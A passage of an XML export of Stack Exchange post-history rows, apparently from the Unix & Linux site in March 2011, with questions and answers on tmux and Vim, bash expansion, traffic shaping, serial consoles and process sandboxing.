  <row Id="21561" PostHistoryTypeId="2" PostId="9080" RevisionGUID="e4fe4349-ad40-42a6-a183-22bca0ca9d04" CreationDate="2011-03-11T15:24:59.173" UserId="4821" Text="I've been a vim junkie for a year or so now and I've got some great little tricks burnt in to my memory. I do a lot of development (at the office) in a terminal on Ubuntu.&#xD;&#xA;&#xD;&#xA;One of the things I value most is having tmux taking care of my sessions so that if Gnome, or anything else, decides to kirk out then I haven't lost a thing.&#xD;&#xA;&#xD;&#xA;Additionally, I run a vim clientserver (C-b :neww 'vim --servername d') as one of my tmux windows and use it to receive any files I want to work with while I have my other tmux windows doing various jobs. It means I can have one vim open with no confusion about what I'm editing.&#xD;&#xA;&#xD;&#xA;When I'm working remotely (via SSH,) I connect to my tmux session and carry on but I have one problem: vim won't start a client-server instance.&#xD;&#xA;&#xD;&#xA;I presume it is X related but I can't seem to find the difference between a local tmux and a tmux via ssh." />
  <row Id="21562" PostHistoryTypeId="1" PostId="9080" RevisionGUID="e4fe4349-ad40-42a6-a183-22bca0ca9d04" CreationDate="2011-03-11T15:24:59.173" UserId="4821" Text="Is it possible to run a Vim clientserver instance over SSH+tmux" />
  <row Id="21563" PostHistoryTypeId="3" PostId="9080" RevisionGUID="e4fe4349-ad40-42a6-a183-22bca0ca9d04" CreationDate="2011-03-11T15:24:59.173" UserId="4821" Text="évimàétmuxà" />
  <row Id="21564" PostHistoryTypeId="2" PostId="9081" RevisionGUID="194fa43c-56bd-40d0-8293-4b232ec2c805" CreationDate="2011-03-11T15:26:48.020" UserId="2343" Text="I don't understand shell expansion fully yet (hopefully, one day soon I will)...  &#xD;&#xA;I saw this comment to a [superuser question](http://superuser.com/questions/36710/linux-shell-is-shell-a-must), but I think I'm still parked at the kerb...  &#xD;&#xA; &#xD;&#xA;&gt; Using Linux without the shell is like driving a Ferrari at 50 km/h through city traffic. All fun will just go away ...   &#xD;&#xA;&#xD;&#xA;I don't understand the following example.. What heirarchy, or whatever, is causing the 2nd example &quot;array item count:&quot; to be different to the 1st example?   &#xD;&#xA;&#xD;&#xA;What happened to the shell introduced &quot;space&quot;?. or is it the `echo` which is introducing the space, and the shell is (perhaps) using \0?  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Make a couple of files whose names contain a space.&#xD;&#xA;    junkd=$HOME/junkd&#xD;&#xA;    mkdir $junkd # || exit 1&#xD;&#xA;    cd $junkd&#xD;&#xA;    touch f\ {1..2}&#xD;&#xA;    #&#xD;&#xA;    echo -n * |xxd         # This shows a space between the two names.&#xD;&#xA;    names=$(echo -n * )&#xD;&#xA;    echo -n &quot;$names&quot; |xxd  # This shows a space between the two names.&#xD;&#xA;    #&#xD;&#xA;    # So far, it seems that the shell is inserting a space between each filename.&#xD;&#xA;    #&#xD;&#xA;    array=( $names )&#xD;&#xA;    echo &quot;array item count: ${#array[@]}&quot; &#xD;&#xA;    # 4 items... This shows that a space is the delimiter char ....&#xD;&#xA;    #&#xD;&#xA;    array=( * )&#xD;&#xA;    echo &quot;array item count: ${#array[@]}&quot; &#xD;&#xA;    # 2 items... What happened to the shell introduced space?&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="21565" PostHistoryTypeId="1" PostId="9081" RevisionGUID="194fa43c-56bd-40d0-8293-4b232ec2c805" CreationDate="2011-03-11T15:26:48.020" UserId="2343" Text="How does the shell filename expansion delimit items within a ( * ) list?" />
  <row Id="21566" PostHistoryTypeId="3" PostId="9081" RevisionGUID="194fa43c-56bd-40d0-8293-4b232ec2c805" CreationDate="2011-03-11T15:26:48.020" UserId="2343" Text="ébashàéshellà" />
  <row Id="21567" PostHistoryTypeId="2" PostId="9082" RevisionGUID="54fab28f-7b09-40ca-985f-a3ccc09a0c20" CreationDate="2011-03-11T15:42:37.027" UserId="5634" Text="What's the difference between a process group and a job? If I type `pr * | lpr` then is it both a process group as well a job? &#xD;&#xA;What exactly is the difference between a process group ID and a job ID?&#xD;&#xA;&#xD;&#xA;Edit: I know it appears similar to this thread [stacexchange][1] but it is slightly different. Also, I didn't understand this concept from this thread.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4214/what-is-the-difference-between-a-job-and-a-process " />
  <row Id="21568" PostHistoryTypeId="1" PostId="9082" RevisionGUID="54fab28f-7b09-40ca-985f-a3ccc09a0c20" CreationDate="2011-03-11T15:42:37.027" UserId="5634" Text="Difference between process group and job?" />
  <row Id="21569" PostHistoryTypeId="3" PostId="9082" RevisionGUID="54fab28f-7b09-40ca-985f-a3ccc09a0c20" CreationDate="2011-03-11T15:42:37.027" UserId="5634" Text="éjoböcontrolà" />
  <row Id="21570" PostHistoryTypeId="2" PostId="9083" RevisionGUID="af0fa520-149c-421d-bc73-dbf275774413" CreationDate="2011-03-11T15:47:28.630" UserId="5636" Text="I'm looking for a way to run an arbitrary script every time my laptop wakes up." />
  <row Id="21571" PostHistoryTypeId="1" PostId="9083" RevisionGUID="af0fa520-149c-421d-bc73-dbf275774413" CreationDate="2011-03-11T15:47:28.630" UserId="5636" Text="Power management hook for running scripts on wake" />
  <row Id="21572" PostHistoryTypeId="3" PostId="9083" RevisionGUID="af0fa520-149c-421d-bc73-dbf275774413" CreationDate="2011-03-11T15:47:28.630" UserId="5636" Text="élinuxàéubuntuàépowerömanagementà" />
  <row Id="21573" PostHistoryTypeId="2" PostId="9084" RevisionGUID="bf10805c-66de-4869-a0cc-89acec4396eb" CreationDate="2011-03-11T15:50:43.707" UserId="5454" Text="my vote goes to debian stable and exim4 -- stable, well-documented, and lightweight (you can, of course, use postfix on debian, but exim4 is the default MTA).&#xD;&#xA;&#xD;&#xA;Here's the [canonical documentation][1], for reference :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pkg-exim4.alioth.debian.org/README/README.Debian.html" />
  <row Id="21574" PostHistoryTypeId="2" PostId="9085" RevisionGUID="f8dd4481-4114-4b5b-811c-d2bbeecb998b" CreationDate="2011-03-11T15:55:46.057" UserId="4520" Text="I would expect all it is looking for is the password for the private key.  Try using `echo -e &quot;xxxxxxxxx\r\n&quot;` or `echo &quot;xxxxxxxx&quot;`.&#xD;&#xA;&#xD;&#xA;You may want to try using `expect` to respond to the password request.  Some password programs look for the password on a `tty` type device. The program expect handles this.  &#xD;&#xA;&#xD;&#xA;You may be better off looking for an `rc.d` init script to start your tunnel. This is the normal method for starting things at startup. " />
  <row Id="21575" PostHistoryTypeId="5" PostId="8194" RevisionGUID="3d959e96-2b76-411a-bfc6-88bf20e486e7" CreationDate="2011-03-11T15:58:49.823" UserId="688" Comment="added 1156 characters in body; added 1 characters in body" Text="I'm not sure if you can do this with windows guests. I'll outline what I would do first to move any VM to physical disk, and some &quot;hints&quot; which may help with windows.&#xD;&#xA;&#xD;&#xA;So, in general, you need an image of the virtual hard drive:&#xD;&#xA;&#xD;&#xA;1. Check which drives are available (following is a snippet):&#xD;&#xA;&#xD;&#xA;        $ VBoxManage list hdds&#xD;&#xA;        Oracle VM VirtualBox Command Line Management Interface Version 3.2.10_OSE&#xD;&#xA;        (C) 2005-2010 Oracle Corporation&#xD;&#xA;        All rights reserved.&#xD;&#xA;&#xD;&#xA;        UUID:        d6b9f0a5-98df-48ca-83c8-91a0809ec349&#xD;&#xA;        Parent UUID: base&#xD;&#xA;        Format:      VDI&#xD;&#xA;        Location:    /home/wena/.VirtualBox/HardDisks/Debian 6.vdi&#xD;&#xA;        State:       created&#xD;&#xA;        Type:        normal&#xD;&#xA;        Usage:       Debian 6 (UUID: f070af5c-57b1-47db-9300-f17921dee57d) [1 pristine fresh install (UUID: 90e46b07-07d9-4b81-9b7b-dadd75fc13f4)]&#xD;&#xA;&#xD;&#xA;        UUID:        dfd7deec-b7a7-4e83-967e-17aa8fb1f602&#xD;&#xA;        Parent UUID: d6b9f0a5-98df-48ca-83c8-91a0809ec349&#xD;&#xA;        Format:      VDI&#xD;&#xA;        Location:    /home/wena/.VirtualBox/Machines/Debian 6/Snapshots/{dfd7deec-b7a7-4e83-967e-17aa8fb1f602}.vdi&#xD;&#xA;        State:       created&#xD;&#xA;        Type:        normal&#xD;&#xA;        Usage:       Debian 6 (UUID: f070af5c-57b1-47db-9300-f17921dee57d)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Select UUID above and convert it:&#xD;&#xA;&#xD;&#xA;        VBoxManage clonehd d6b9f0a5-98df-48ca-83c8-91a0809ec349 --format RAW Debian6.img&#xD;&#xA;&#xD;&#xA;3. Then, just copy this image to a harddrive, using dd.&#xD;&#xA;&#xD;&#xA;This should work for most Linux machines.&#xD;&#xA;&#xD;&#xA;For windows, chances are, that you may have a lot of troubles. I would start with creating a new hardware profile in the VM before I even try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.turnkeylinux.org/blog/convert-vdi-vmdk" />
  <row Id="21576" PostHistoryTypeId="5" PostId="8890" RevisionGUID="16b98ecc-c825-48fe-bbc1-bb25db598185" CreationDate="2011-03-11T16:05:37.950" UserId="2559" Comment="added 97 characters in body" Text="This command takes each path and truncates it to `n` folders deep (defined in the `\{0,n\}` section of the `sed` command and the `{0,n}` section of the grep command). It's then piped into `uniq` to filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`&#xD;&#xA;&#xD;&#xA;The same thing can also be achieved using `grep`:&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;Although the above wont work with `GNU grep` versions `&lt; 2.5.3` due to a [**bug**][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8892/trouble-with-grep-o-regex/8902#8902" />
  <row Id="21577" PostHistoryTypeId="2" PostId="9086" RevisionGUID="44e1821c-351b-4850-a293-ae8e34ca160e" CreationDate="2011-03-11T16:10:57.250" UserId="4520" Text="Yes this will run every minute of the fifth hour (0400 to 0459) on Sunday.  Likely what is intended is to run once during that period.  Unless it needs to run on the hour, pick a random value from 1 to 59, and replace the minutes value. &#xD;&#xA;&#xD;&#xA;If you have a bunch of programs that need to run in a particular period, you can limit load peaks by using a random minute in the hour you want the task to run.  Use a different value for each crontab entry. " />
  <row Id="21578" PostHistoryTypeId="2" PostId="9087" RevisionGUID="8c08cf8e-6ebd-4de7-a026-f99af94549c6" CreationDate="2011-03-11T16:22:23.077" UserId="2688" Text="I use synergy to control my laptop from my desktop when I have my laptop docked at my workstation.  Currently, I need to keep my laptop wired to the same router that my desktop is connected to in order to use synergy.  However, I will also take my laptop and work from other parts of the house.  I'd like to use just wireless on the laptop, so I don't have to switch connections to get up and move around.&#xD;&#xA;&#xD;&#xA;My desktop has a wired connection to a router.  When I'm using wireless on my laptop, I'm connecting through a different router.  Is there a way to set up synergy to connect from the wireless router `192.168.17.*` to the wired network `192.168.250.*`?&#xD;&#xA;&#xD;&#xA;I don't know much about network set up or terminology, so if I'm not including any pertinent details, please ask." />
  <row Id="21579" PostHistoryTypeId="1" PostId="9087" RevisionGUID="8c08cf8e-6ebd-4de7-a026-f99af94549c6" CreationDate="2011-03-11T16:22:23.077" UserId="2688" Text="Use Synergy when connected through different routers" />
  <row Id="21580" PostHistoryTypeId="3" PostId="9087" RevisionGUID="8c08cf8e-6ebd-4de7-a026-f99af94549c6" CreationDate="2011-03-11T16:22:23.077" UserId="2688" Text="énetworkingàésynergyà" />
  <row Id="21581" PostHistoryTypeId="2" PostId="9088" RevisionGUID="250ee2bb-a177-4a36-8c7c-1a5a153722fe" CreationDate="2011-03-11T16:24:48.450" UserId="5638" Text="add a script to /etc/apm/event.d ?" />
  <row Id="21582" PostHistoryTypeId="2" PostId="9089" RevisionGUID="c617ce97-6b90-41e5-a357-3673ccf5199b" CreationDate="2011-03-11T16:26:33.603" UserId="3482" Text="$ cd \`python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;\`&#xD;&#xA;&#xD;&#xA;will do the trick.&#xD;&#xA;&#xD;&#xA;Read here for more details: [Command substitution][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/commandsub.html" />
  <row Id="21583" PostHistoryTypeId="2" PostId="9090" RevisionGUID="e5018232-267f-446d-8eab-f887576aaa7a" CreationDate="2011-03-11T16:50:06.527" UserId="5298" Text="put it in /etc/apm/resume.d/  to run on wake up&#xD;&#xA; " />
  <row Id="21584" PostHistoryTypeId="5" PostId="9056" RevisionGUID="ffb788da-0522-41e6-9819-172bca5f049e" CreationDate="2011-03-11T17:01:52.090" UserId="5628" Comment="added 3 characters in body" Text="I can answer how to manage the bandwidth once you know what IP is in which group. You can use [hierarchical token bucket][1] to allocate three groups.&#xD;&#xA;&#xD;&#xA;* 10 Group A&#xD;&#xA;* 20 Group B&#xD;&#xA;* 30 Unknown traffic for/from non-AD devices in your network&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;#Create egress shaping&#xD;&#xA;$TC qdisc add dev eth0 root handle 1: htb default 20 r2q 50&#xD;&#xA;&#xD;&#xA;$TC class add dev eth0 parent 1: classid 1:1 htb rate 19mbit ceil 19mbit&#xD;&#xA;&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:10 htb rate 9mbit ceil 15mbit prio 1&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:20 htb rate 8mbit ceil 15mbit prio 1&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:30 htb rate 2mbit ceil 10mbit prio 2&#xD;&#xA;&#xD;&#xA;#Send everything unknown to classid 1:30. The filter has low priority &#xD;&#xA;#(higher numbers are filtered later)&#xD;&#xA;$TC filter add dev eth0 parent 1: prio 20 protocol all u32 match u32 0 0 flowid 1:30&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In the script above the groups can lend bandwidth to other groups if they don't use it. If you don't want this set *ceil* to the same value as *rate*.&#xD;&#xA;&#xD;&#xA;Now you can write a script that dynamically sends IPs to class 1:10 or 1:20. Probably you have to hook some dhcp- or ad-events.&#xD;&#xA;&#xD;&#xA;The script for group A can look like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$TC filter replace dev eth0 parent 1: protocol ip prio 3 u32 match \&#xD;&#xA;                ip dst $THEIP/32 flowid 1:10&#xD;&#xA;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Remember you can only control what you send. So if your router has interface eth0 and eth1, you have to manage bandwidth on eth1, too.&#xD;&#xA;&#xD;&#xA;And consider to attach SFQ leaf QDISC to the classes. SFQ is just great!&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$TC qdisc add dev eth0 parent 1:10 handle 110: sfq perturb 10&#xD;&#xA;$TC qdisc add dev eth0 parent 1:20 handle 120: sfq perturb 10&#xD;&#xA;$TC qdisc add dev eth0 parent 1:30 handle 130: sfq perturb 10&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Mapping IPs to groups**&#xD;&#xA;&#xD;&#xA;Finding out what IP is in which group highly depends on the software you use. If your software doesn't support events you might write a script that parses the log and decides to allocate a IP on a certain group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm" />
  <row Id="21585" PostHistoryTypeId="2" PostId="9091" RevisionGUID="8ebcf95c-9e68-4fe8-a508-090acef4156f" CreationDate="2011-03-11T17:12:46.793" UserId="4290" Text="I have a problem building , it fails with the error:&#xD;&#xA;&#xD;&#xA;D: May free Score board((nil))&#xD;&#xA;&#xD;&#xA;What does this mean ? I do not see any other errors appearing in the build before this so i am fairly stumped by the lack of information. &#xD;&#xA;&#xD;&#xA;OS : FC 10" />
  <row Id="21586" PostHistoryTypeId="1" PostId="9091" RevisionGUID="8ebcf95c-9e68-4fe8-a508-090acef4156f" CreationDate="2011-03-11T17:12:46.793" UserId="4290" Text="RPM Build error : D: May free Score board((nil))" />
  <row Id="21587" PostHistoryTypeId="3" PostId="9091" RevisionGUID="8ebcf95c-9e68-4fe8-a508-090acef4156f" CreationDate="2011-03-11T17:12:46.793" UserId="4290" Text="élinuxàéfedoraàépackageömanagementàépackagingàérpmà" />
  <row Id="21588" PostHistoryTypeId="2" PostId="9092" RevisionGUID="6be349d6-c201-4d1a-acfe-559a52b67cc1" CreationDate="2011-03-11T17:17:10.183" UserId="1338" Text="From **man bash**&#xD;&#xA;&#xD;&#xA;&gt; **EXPANSION**&#xD;&#xA;&gt;        Expansion is performed on the command line after it has been split&#xD;&#xA;&gt; into words.  There are seven kinds&#xD;&#xA;&gt;        of  expansion  performed: brace expansion, tilde expansion, parameter&#xD;&#xA;&gt; and variable expansion, command&#xD;&#xA;&gt;        substitution, arithmetic expansion, word splitting, and&#xD;&#xA;&gt; pathname expansion.&#xD;&#xA;&gt; The order of expansions is: brace&#xD;&#xA;&gt; expansion, tilde  expansion, &#xD;&#xA;&gt; parameter,  variable  and  arithmetic&#xD;&#xA;&gt;        expansion  and  command  substitution (done in a left-to-right&#xD;&#xA;&gt; fashion), word splitting, and pathname&#xD;&#xA;&gt;        expansion.&#xD;&#xA;&#xD;&#xA;    array=( $names )&#xD;&#xA;The reason this gives you 4 entries is because an unquoted `$names` parameter is further subject to *word splitting* based on the internal field separator `IFS` which is by default `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;`.  If you were to quote `&quot;$names&quot;` to inhibit word splitting, then you'll only get one array element with value `f 1 f 2`, again not what you want.&#xD;&#xA;&#xD;&#xA;    array=( * )&#xD;&#xA;The above on the other hand is only subject to *pathname expansion* which happens to be the last expansion performed.  The results are *not* subject to word splitting thus you get the desired 2 elements.&#xD;&#xA;&#xD;&#xA;If you want to make `array=( $names )` work then you'll need to somehow separate the file names by a non-space character which also is not contained in the file names.  You'll then need to set IFS to this character.  &#xD;&#xA;&#xD;&#xA;    $ names=$(echo f* | sed &quot;s/ /#/2&quot;)&#xD;&#xA;    $ echo $names&#xD;&#xA;    f 1#f 2&#xD;&#xA;    $ IFS='#' array=( $names )&#xD;&#xA;    $ echo ${#array[@]}&#xD;&#xA;    2&#xD;&#xA;    $ echo ${array[0]}&#xD;&#xA;    f 1" />
  <row Id="21589" PostHistoryTypeId="2" PostId="9093" RevisionGUID="d0cd8d1c-6aca-4eb0-a37b-a073570d679a" CreationDate="2011-03-11T17:19:25.657" UserId="5462" Text="We have a PCIX board (with MIPS CPU) from some vendor and it has an RJ-45 jack on the &quot;board-side&quot;, where the cable has an RS-232 plug on the other side. The expected protocol is clearly the same as when using a nullmodem cable between two machines.&#xD;&#xA;&#xD;&#xA;Now I am wondering whether there is some Linux or *nix flavor that allows me to substitute the cable for a standard patch cable with RJ-45 connectors on both ends (not crossed for obvious reasons)? I read that someone suggested `socat` for some similar use-case, but it appears that the use case is so arcane that documentation is virtually non-existent on the topic. Of course it's well possible that I simply used the wrong search terms so far.&#xD;&#xA;&#xD;&#xA;Reasoning: it's almost hard to come by devices that have a COM port nowadays, but most have an ethernet port. Also, the board is in a rather inaccessible location, so to connect to it we've been using mobile devices. And then it's even harder to find machines with COM ports.&#xD;&#xA;&#xD;&#xA;**NB:** I'm aware of RS-232 to USB devices, but would prefer a solution as pointed out as it seems more universal." />
  <row Id="21590" PostHistoryTypeId="1" PostId="9093" RevisionGUID="d0cd8d1c-6aca-4eb0-a37b-a073570d679a" CreationDate="2011-03-11T17:19:25.657" UserId="5462" Text="RJ-45 &lt;-&gt; RS-232, can I substitute the RS-232 side and abuse my Ethernet port as COM port?" />
  <row Id="21591" PostHistoryTypeId="3" PostId="9093" RevisionGUID="d0cd8d1c-6aca-4eb0-a37b-a073570d679a" CreationDate="2011-03-11T17:19:25.657" UserId="5462" Text="élinuxàéunixàéttyàéserialöconsoleà" />
  <row Id="21592" PostHistoryTypeId="5" PostId="9091" RevisionGUID="ef13adb9-77d9-41e7-96ef-451f4550aa9a" CreationDate="2011-03-11T17:23:03.353" UserId="4290" Comment="added 42 characters in body" Text="I have a problem building , it fails with the error:&#xD;&#xA;&#xD;&#xA;D: May free Score board((nil))&#xD;&#xA;&#xD;&#xA;What does this mean ? I do not see any other errors appearing in the build before this so i am fairly stumped by the lack of information. &#xD;&#xA;&#xD;&#xA;OS : FC 8&#xD;&#xA;&#xD;&#xA;Edit : FYI , it builds fine on FC10,13." />
  <row Id="21593" PostHistoryTypeId="25" PostId="9081" RevisionGUID="280c7bd0-d080-42f0-92f6-3d0d18c9dfde" CreationDate="2011-03-11T17:24:38.820" Comment="http://twitter.com/#!/StackUnix/status/46260253137977344" />
  <row Id="21594" PostHistoryTypeId="5" PostId="9092" RevisionGUID="de75f338-a65f-4ee9-a899-afd7d7cf8286" CreationDate="2011-03-11T17:35:15.333" UserId="1338" Comment="added 521 characters in body" Text="From **man bash**&#xD;&#xA;&#xD;&#xA;&gt; **EXPANSION**&#xD;&#xA;&gt;        Expansion is performed on the command line after it has been split&#xD;&#xA;&gt; into words.  There are seven kinds&#xD;&#xA;&gt;        of  expansion  performed: brace expansion, tilde expansion, parameter&#xD;&#xA;&gt; and variable expansion, command&#xD;&#xA;&gt;        substitution, arithmetic expansion, word splitting, and&#xD;&#xA;&gt; pathname expansion.&#xD;&#xA;&gt; The order of expansions is: brace&#xD;&#xA;&gt; expansion, tilde  expansion, &#xD;&#xA;&gt; parameter,  variable  and  arithmetic&#xD;&#xA;&gt;        expansion  and  command  substitution (done in a left-to-right&#xD;&#xA;&gt; fashion), word splitting, and pathname&#xD;&#xA;&gt;        expansion.&#xD;&#xA;&#xD;&#xA;    array=( $names )&#xD;&#xA;The reason this gives you 4 entries is because an unquoted `$names` parameter is further subject to *word splitting* based on the internal field separator `IFS` which is by default `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;`.  If you were to quote `&quot;$names&quot;` to inhibit word splitting, then you'll only get one array element with value `f 1 f 2`, again not what you want.&#xD;&#xA;&#xD;&#xA;    array=( * )&#xD;&#xA;The above on the other hand is only subject to *pathname expansion* which happens to be the last expansion performed.  The results are *not* subject to word splitting thus you get the desired 2 elements.&#xD;&#xA;&#xD;&#xA;If you want to make `array=( $names )` work then you'll need to somehow separate the file names by a non-space character which also is not contained in the file names.  You'll then need to set IFS to this character.  &#xD;&#xA;&#xD;&#xA;    $ names=$(echo f* | sed &quot;s/ /#/2&quot;)&#xD;&#xA;    $ echo $names&#xD;&#xA;    f 1#f 2&#xD;&#xA;    $ IFS='#' array=( $names )&#xD;&#xA;    $ echo ${#array[@]}&#xD;&#xA;    2&#xD;&#xA;    $ echo ${array[0]}&#xD;&#xA;    f 1&#xD;&#xA;&#xD;&#xA;A more elegant way to do this would be to use the NUL byte `\0` as the filename delimiter as that is guaranteed to never be apart of a filename.  To accomplish this we will need to use the `find` command with its `-print0` flag as well as the `read` builtin delimited on NUL. We well also need to clear IFS so no word splitting on spaces is performed.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    unset array&#xD;&#xA;    &#xD;&#xA;    while IFS= read -r -d $'\0' name; do&#xD;&#xA;      array+=( &quot;$name&quot; )&#xD;&#xA;    done &lt; &lt;(find . -type f -name &quot;f*&quot; -print0 )" />
  <row Id="21595" PostHistoryTypeId="2" PostId="9094" RevisionGUID="a19fc420-e418-4af8-9ab9-0c562fa1d9fb" CreationDate="2011-03-11T18:07:57.497" UserId="2180" Text="It's not clear exactly what you want. If you want to use your existing Ethernet port, that won't be an option for many reasons; the most fundamental being that Ethernet requires precise termination and voltage levels, the hardware on the interface (the PHY) is made to deal with that. Socat is a whole other level, and definitely is not useful here: it's a TCP/IP communication tool: it doesn't know anything about the electrical characteristics of the underlying hardware - it could talk over an RS232 line, but it'll be talking TCP, and you'd need to talk TCP on the other side for it to work.&#xD;&#xA;&#xD;&#xA;Now, if what you're doing is designing a board, you could put an RJ45 jack with traces to a serial I/O port, which is exactly what the makers of your PCIX board have done. I've also seen Cisco routers like this.&#xD;&#xA;&#xD;&#xA;The tool you really need is an RS232-&gt;USB converter." />
  <row Id="21596" PostHistoryTypeId="2" PostId="9095" RevisionGUID="51ad85eb-ecf8-4c2e-aaae-428616bedce2" CreationDate="2011-03-11T18:31:31.780" UserId="4069" Text="I was thinking, maybe i'd like to disable passwords for the root user and only use keys to log in. and if i need to login without keys have a 2nd user that is like root in everyway except has a different name.&#xD;&#xA;&#xD;&#xA;Is there a way to have a 2nd root user? Is this impossible? is it a bad idea to disable passwords?&#xD;&#xA;" />
  <row Id="21597" PostHistoryTypeId="1" PostId="9095" RevisionGUID="51ad85eb-ecf8-4c2e-aaae-428616bedce2" CreationDate="2011-03-11T18:31:31.780" UserId="4069" Text="make a 2nd root?" />
  <row Id="21598" PostHistoryTypeId="3" PostId="9095" RevisionGUID="51ad85eb-ecf8-4c2e-aaae-428616bedce2" CreationDate="2011-03-11T18:31:31.780" UserId="4069" Text="ésecurityàéloginàérootà" />
  <row Id="21599" PostHistoryTypeId="2" PostId="9096" RevisionGUID="b762a6fd-024b-4054-bc2d-e85d0566ed7e" CreationDate="2011-03-11T18:33:21.887" UserId="4805" Text="With a lot of searching and a lot of guess and check I came upon the solution to my problem:&#xD;&#xA;&#xD;&#xA;First dd rootfs image buildroot creates:&#xD;&#xA;&#xD;&#xA;    sudo dd if=./output/images/rootfs.ext2 of=/dev/sdd3&#xD;&#xA;&#xD;&#xA;Then, copy /boot from sdd3 to sdd1, create a menu.lst file, and copy over bzImage.&#xD;&#xA;&#xD;&#xA;Finally, run grub:&#xD;&#xA;&#xD;&#xA;    sudo grub --device-map=/dev/null&#xD;&#xA;    &gt; device (hd0) /dev/sdd&#xD;&#xA;    &gt; root (hd0,0)&#xD;&#xA;    &gt; setup (hd0)&#xD;&#xA;    &gt; quit&#xD;&#xA;&#xD;&#xA;Plug the drive into the system and everything loads." />
  <row Id="21600" PostHistoryTypeId="5" PostId="9094" RevisionGUID="db151e82-f63c-49b0-92d6-eaaf99d93f4b" CreationDate="2011-03-11T18:36:40.187" UserId="2180" Comment="Extra information - electrical incompatabilities." Text="It's not clear exactly what you want. If you want to use your existing Ethernet port, that won't be an option for many reasons; the most fundamental being that Ethernet requires precise termination and voltage levels, the hardware on the interface (the PHY) is made to deal with that. Ethernet uses strictly +/- 0.85V and 50ohm termination impedance; RS-232 uses at a minimum +/- 3V, and could be as high as +/-25V, typically +/-12V. I imagine if you did try to connect your Ethernet port to an RS-232 line, it would fry your network interface.&#xD;&#xA;&#xD;&#xA;Socat is a whole other level, and definitely is not useful here: it's a TCP/IP communication tool: it doesn't know anything about the electrical characteristics of the underlying hardware - it could talk over an RS232 line, but it'll be talking TCP, and you'd need to talk TCP on the other side for it to work.&#xD;&#xA;&#xD;&#xA;Now, if what you're doing is designing a board, you could put an RJ45 jack with traces to a serial I/O port, which is exactly what the makers of your PCIX board have done. I've also seen Cisco routers like this.&#xD;&#xA;&#xD;&#xA;The tool you really need is an RS232-&gt;USB converter." />
  <row Id="21604" PostHistoryTypeId="5" PostId="9066" RevisionGUID="a8e211b5-253f-4dc9-b5d5-bca35ee99b4d" CreationDate="2011-03-11T18:47:25.877" UserId="4319" Comment="Added links to the answers with more details about the mentioned approaches to help the reader." Text="But well, of course, the desired &quot;jail&quot; guarantees are implementable by programming in user-space (without additional support for this feature from the OS; maybe that's why this feature hasn't been included in the first place in the design of OSes); with more or less complications.&#xD;&#xA;&#xD;&#xA;The mentioned [`ptrace`-](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8939#8939) or [`seccomp`](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8929#8929)-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as &quot;black boxes&quot;, arbitrary Unix programs.&#xD;&#xA;&#xD;&#xA;Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a **pure programming language** (which would force you to program without side-effects) like [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language)#Features) will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.&#xD;&#xA;&#xD;&#xA;I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java." />
  <row Id="21605" PostHistoryTypeId="5" PostId="8929" RevisionGUID="746e5be3-da5e-46cd-80b1-6fa70ce59616" CreationDate="2011-03-11T18:56:47.227" UserId="4319" Comment="Give more info, so that the complications of this approach are more spelled out; and some links to usable tools." Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).&#xD;&#xA;&#xD;&#xA;More related info (from Wikipedia):&#xD;&#xA;&#xD;&#xA;* &lt;http://en.wikipedia.org/wiki/Seccomp&gt;&#xD;&#xA;* &lt;http://code.google.com/p/seccompsandbox/wiki/overview&gt;&#xD;&#xA;* [LWN article: Google's Chromium sandbox](http://lwn.net/Articles/347547/), Jake Edge, August 2009&#xD;&#xA;* **[seccomp-nurse](http://chdir.org/~nico/seccomp-nurse/), a sandboxing framework based on 